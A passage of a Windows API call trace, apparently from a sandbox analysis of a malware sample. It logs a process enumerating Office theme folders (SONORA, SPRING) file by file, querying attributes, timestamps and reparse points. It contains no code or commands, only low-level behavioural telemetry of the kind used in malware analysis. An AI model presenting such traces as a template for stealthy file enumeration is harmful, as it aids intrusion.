lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.623] GetLastError () returned 0x12 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.623] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.623] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.623] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0062.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0062.846] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb1b88 [0062.885] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb1b88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb1b88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb1b88) returned 1 [0062.886] NtClose (Handle=0x184) returned 0x0 [0062.889] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.892] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb04e8 [0062.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.897] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.899] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.904] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0062.905] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0062.906] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.907] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.908] GetLastError () returned 0x12 [0062.908] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.911] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.914] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.915] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.916] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0062.917] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0062.918] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.918] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.919] GetLastError () returned 0x12 [0062.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb04e8) returned 1 [0062.920] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb05f0) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.922] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0062.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0062.937] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb2490 [0062.941] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb2490, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb2490, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb2490) returned 1 [0062.942] NtClose (Handle=0x190) returned 0x0 [0062.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.945] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.948] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb05f0 [0062.948] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.950] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.952] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb04e8 [0062.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf8e0 [0062.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb0b18 [0062.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.958] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0062.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf900 [0062.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb0c20 [0062.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.964] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0062.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.966] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.966] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf920 [0062.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb0d28 [0062.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.969] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf940 [0062.974] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb0e30 [0062.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.976] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.977] GetLastError () returned 0x12 [0062.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.982] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.983] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.984] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0062.985] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.986] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, 